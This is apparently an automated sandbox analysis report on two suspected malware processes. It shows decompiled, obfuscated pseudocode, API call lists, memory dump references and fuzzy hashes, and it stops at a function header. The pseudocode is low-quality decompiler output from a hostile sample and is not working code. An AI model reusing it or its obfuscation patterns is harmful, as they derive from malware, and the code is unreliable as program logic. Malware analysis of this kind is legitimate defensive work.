Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: rcvfbte PID: 5888 Parent PID: 1308 rcvfbteCOMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 0000000F.00000002.385145682.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_rcvfbte.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 0000000F.00000002.385145682.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_rcvfbte.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 0000000F.00000002.385145682.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_rcvfbte.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 9460.exe PID: 6608 Parent PID: 3352 9460.exeCOMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	16%
Signature Coverage:	0%
Total number of Nodes:	387
Total number of Limit Nodes:	5

Executed Functions

Function 004027CA, Relevance: .4, Instructions: 439
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000010.00000002.436617124.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_9460.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59ac989ca3708892bfd26f4acbf633906e2528be2d17ed7f41992104238ec0bb
Instruction ID: 0338b83136466491310ec3fcb80edeb4c240d654d82b0732370eb0c756bdbeb0
Opcode Fuzzy Hash: 59ac989ca3708892bfd26f4acbf633906e2528be2d17ed7f41992104238ec0bb
Instruction Fuzzy Hash: D4C1B93210E141DFEB00AE24EEC98DAFB65FF1633477001ABD8426B1D2C67B5542DB66

Uniqueness

Uniqueness Score: -1.00%

Function 0048003C, Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0048024D

Strings

kernel32.dll, xrefs: 0048008F, 00480095
cess, xrefs: 0048018D

Memory Dump Source

Source File: 00000010.00000002.436827832.0000000000480000.00000040.00000001.sdmp, Offset: 00480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_480000_9460.jbxd

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 72a775eae1a4b434035add71987f0208f996cae5874b2caca2db1f7527f0eeec
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: F9527B74A002299FDBA4DF58C984BACBBB1BF09304F1484DAE40DA7351DB34AE89DF15

Uniqueness

Uniqueness Score: -1.00%

Function 00480DF8, Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00480223,?,?), ref: 00480E02
SetErrorMode.KERNELBASE(00000000,?,?,00480223,?,?), ref: 00480E07

Memory Dump Source

Source File: 00000010.00000002.436827832.0000000000480000.00000040.00000001.sdmp, Offset: 00480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_480000_9460.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 847c07dad7d1c65a66263079ffe8733c2cee155f9046193497f757a4c59233db
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 56D0123214512CB7D7402A94DC09BDE7B1C9F05B67F008411FB0DD9581C774994047E9

Uniqueness

Uniqueness Score: -1.00%

Function 004707A6, Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Module32First.KERNEL32(00000000,00000224), ref: 004707EE

Memory Dump Source

Source File: 00000010.00000002.436771940.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_470000_9460.jbxd

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 5595ceff43f7b3773f2b5f76221f31d5ab95906f67ec572e80d6a2261ca759b8
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: B6F0C231102310ABD7203AB5988CAAFB7ECAF49725F10852AE64A911C0DA78F8054A64

Uniqueness

Uniqueness Score: -1.00%

Function 00470465, Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 004704B6

Memory Dump Source

Source File: 00000010.00000002.436771940.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_470000_9460.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: a0bfb27cbe6de90053606688358b4ba16acdfac2ce2fc8a29e6b2121caff52c3
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 6F113F79A40208EFDB01DF98C985E99BBF5AF08350F05C095F9489B362D375EA50DF84

Uniqueness

Uniqueness Score: -1.00%

Function 00402A07, Relevance: .3, Instructions: 254
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 29%

			E00402A07(void* __edi, signed int __esi, void* __fp0) {
				signed int _t51;
				void* _t53;
				signed int _t56;
				void* _t59;
				void* _t62;
				void* _t65;
				void* _t67;
				void* _t71;
				void* _t72;
				void* _t81;
				void* _t85;
				void* _t86;
				void* _t91;
				void* _t92;
				signed int _t109;
				signed int* _t132;
				void* _t137;
				void* _t140;
				void* _t143;
				intOrPtr _t145;
				signed int* _t146;
				signed int _t147;
				void* _t149;
				signed int _t150;
				void* _t152;
				signed int _t153;
				signed int _t154;
				void* _t159;
				signed int _t160;
				signed int _t161;
				signed int _t166;
				void* _t174;
				void* _t181;
				signed long long _t183;

				_t181 = __fp0;
				_t153 = __esi;
				_t149 = __edi;
				asm("out 0x59, eax");
				asm("rcr byte [esi], cl");
				asm("fsubr dword [esi-0x2da4a48c]");
				asm("cmpsd");
				asm("movsb");
				asm("cs cmpsd");
				asm("movsb");
				asm("movsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x59c6df54]");
				_t145 = ds;
				 *(__esi - 0x2f) =  *(__esi - 0x2f) | __esi;
				_pop(_t81);
				_t51 = _t154;
				_t4 = _t51 + 0x4ab073ae;
				_t146 =  *_t4;
				 *_t4 = _t145;
				asm("enter 0x9e6f, 0x38");
				asm("cmc");
				 *__esi =  *__esi ^ __esi;
				asm("rcl byte [edi+0x7f], 1");
				asm("fcomp dword [edi+0x795eb05f]");
				asm("lds esi, [eax+0x45b3f1a9]");
				_t166 = _t51 & 0xb345b3f1;
				asm("movsb");
				asm("movsb");
				_t140 = 0x9d;
				_t53 = E00401277(0x2a84, _t81, __edi, __esi, 0x5e, _t166);
				_pop(_t85);
				 *(_t85 + 0x3e) =  *(_t85 + 0x3e) ^ 0x00000012;
				_pop(_t86);
				 *((intOrPtr*)(_t86 + 0x35)) =  *((intOrPtr*)(_t86 + 0x35)) - _t86;
				asm("aaa");
				_t91 = 0x5b5b695b;
				 *((intOrPtr*)(_t91 + 0x3e)) =  *((intOrPtr*)(_t91 + 0x3e)) - 0x12;
				_pop(_t92);
				 *((intOrPtr*)(_t92 + 0x68)) =  *((intOrPtr*)(_t92 + 0x68)) - _t92;
				asm("aaa");
				asm("aaa");
				_t109 = 0x5b5b695b;
				asm("das");
				_t160 = _t159 - 1;
				_t56 = _t53 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t156 = 0xdea4a4a7;
				asm("wait");
				_push(_t160);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t153);
				_t150 = _t149 -  *0xFFFFFFFFDEA4A4EF;
				_t168 = _t109 ^ _t150;
				if((_t109 ^ _t150) < 0) {
					_pop(_t132);
					_t153 = _t153 +  *((intOrPtr*)(_t56 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t156 = 0xdea4a4a7 - _t150;
					asm("int3");
					 *_t132 =  *_t132 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t137 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t71 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t71 - 0x15)) =  *((intOrPtr*)(_t71 - 0x15)) + _t137;
					_t72 = _t71 + 0xf4eb4097;
					asm("movsd");
					_t140 = 0x9a;
					_t56 = E00401277(_t72, _t137, _t150, _t153, _t156, _t168);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t160 = 0x10eba4a4 |  *(_t153 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t161 = _t160 |  *(_t153 + _t156 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t161);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t183 = (_t181 - _t146[0x1a]) *  *_t146;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t147);
					asm("salc");
					_t183 = _t183 +  *_t153;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t56;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t56 = 0x49;
					_t148 = _t147 ^  *0xd05b5b70;
				} while ((_t147 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t152);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t153);
				_t174 = _t140 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t59 =  *_t161;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t59, 0x688e1679, _t152, _t153, 0x13eba4a4, _t174);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t62 = E004025E8(_t152, _t153, _t174); // executed
				_t175 = _t62;
				if(_t62 != 0) {
					if(E00401F34(_t152, _t175,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L26:
						_t180 = gs;
						if(gs != 0) {
							_t65 = 0x688e6ab7;
							_t143 = 0x2ef8;
						} else {
							_t65 = 0x688e471e;
							_t143 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t143);
						_push(_t65);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t148, _t180);
						_t67 = 0x2c1c;
						_t62 = E00401277(_t67, 0x688e1679, _t152, _t153, 0x13eba4a4, _t180);
					} else {
						_t62 = E00402255(_t183,  *((intOrPtr*)(0x13eba4a0)));
						_t177 = _t62;
						if(_t62 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t62 = L00402321(0x688e1679, _t152, _t153, _t177, _t183);
							_t178 = _t62;
							if(_t62 != 0) {
								_t62 = E00401FF1(_t178, _t183,  *((intOrPtr*)(0x13eba4a0)));
								if(_t62 != 0) {
									goto L26;
								}
							}
						}
					}
				}
				return _t62;
			}

0x00402a07
0x00402a07
0x00402a07
0x00402a07
0x00402a0b
0x00402a0f
0x00402a16
0x00402a17
0x00402a18
0x00402a1a
0x00402a1f
0x00402a20
0x00402a21
0x00402a22
0x00402a2c
0x00402a2d
0x00402a36
0x00402a39
0x00402a3a
0x00402a3a
0x00402a3a
0x00402a40
0x00402a44
0x00402a45
0x00402a47
0x00402a4a
0x00402a50
0x00402a52
0x00402a57
0x00402a58
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000010.00000002.436617124.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_9460.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b045a89dc38c056c7d7352abef0b4b2f573bda20b5254fa9f7f2cee09e6065b
Instruction ID: 28c32271fa903d2e502f5c43ee7f2935ae1d22089060b7f4ec41985c8baa115a
Opcode Fuzzy Hash: 3b045a89dc38c056c7d7352abef0b4b2f573bda20b5254fa9f7f2cee09e6065b
Instruction Fuzzy Hash: A6717732109101DFEB00AE64EECA59AFB64FF1937477001ABDC416F1E2C37B5542DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A5E, Relevance: .2, Instructions: 219
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 33%

			E00402A5E(void* __ebx, void* __ecx, signed int* __edx, void* __edi, intOrPtr* __esi, void* __eflags, void* __fp0) {
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t66;
				void* _t67;
				void* _t72;
				void* _t73;
				signed int _t90;
				signed int* _t113;
				void* _t118;
				void* _t123;
				void* _t126;
				signed int* _t128;
				signed int _t129;
				void* _t131;
				signed int _t132;
				void* _t134;
				intOrPtr* _t135;
				void* _t136;
				void* _t140;
				signed int _t141;
				signed int _t142;
				void* _t155;
				void* _t162;
				signed long long _t164;

				_t162 = __fp0;
				_t135 = __esi;
				_t131 = __edi;
				_t128 = __edx;
				asm("sbb al, 0xb8");
				_t123 = 0x9d;
				_t42 = E00401277(0x2a84, __ebx, __edi, __esi, _t136, __eflags);
				_pop(_t66);
				 *(_t66 + 0x3e) =  *(_t66 + 0x3e) ^ 0x00000012;
				_pop(_t67);
				 *((intOrPtr*)(_t67 + 0x35)) =  *((intOrPtr*)(_t67 + 0x35)) - _t67;
				asm("aaa");
				_t72 = 0x5b5b695b;
				 *((intOrPtr*)(_t72 + 0x3e)) =  *((intOrPtr*)(_t72 + 0x3e)) - 0x12;
				_pop(_t73);
				 *((intOrPtr*)(_t73 + 0x68)) =  *((intOrPtr*)(_t73 + 0x68)) - _t73;
				asm("aaa");
				asm("aaa");
				_t90 = 0x5b5b695b;
				asm("das");
				_t141 = _t140 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t137 = 0xdea4a4a7;
				asm("wait");
				_push(_t141);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t135);
				_t132 = _t131 -  *0xFFFFFFFFDEA4A4EF;
				_t149 = _t90 ^ _t132;
				if((_t90 ^ _t132) < 0) {
					_pop(_t113);
					_t135 = _t135 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t137 = 0xdea4a4a7 - _t132;
					asm("int3");
					 *_t113 =  *_t113 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t118 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t118;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t123 = 0x9a;
					_t45 = E00401277(_t61, _t118, _t132, _t135, _t137, _t149);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t141 = 0x10eba4a4 |  *(_t135 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t142 = _t141 |  *(_t135 + _t137 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t142);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t164 = (_t162 - _t128[0x1a]) *  *_t128;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t129);
					asm("salc");
					_t164 = _t164 +  *_t135;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t130 = _t129 ^  *0xd05b5b70;
				} while ((_t129 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t134);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t135);
				_t155 = _t123 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t142;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t134, _t135, 0x13eba4a4, _t155);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t134, _t135, _t155); // executed
				_t156 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t134, _t156,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L24:
						_t161 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t126 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t126 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t126);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t130, _t161);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t134, _t135, 0x13eba4a4, _t161);
					} else {
						_t51 = E00402255(_t164,  *((intOrPtr*)(0x13eba4a0)));
						_t158 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t134, _t135, _t158, _t164);
							_t159 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t159, _t164,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L24;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a5e
0x00402a5e
0x00402a5e
0x00402a5e
0x00402a60
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000010.00000002.436617124.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_9460.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9af5754aaf439908cbc9e538bbe29f54eba11fad21307c3261ecff9ebfcf9c97
Instruction ID: 14214452042e6ecbc914254f67d2709232b961f867d8ebf06c643147f3da40d9
Opcode Fuzzy Hash: 9af5754aaf439908cbc9e538bbe29f54eba11fad21307c3261ecff9ebfcf9c97
Instruction Fuzzy Hash: 5151443200D141DEEB00AE64AEDA5AAFB64FF15378B3001B7DC416E1E6C37A5646DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A68, Relevance: .2, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 33%

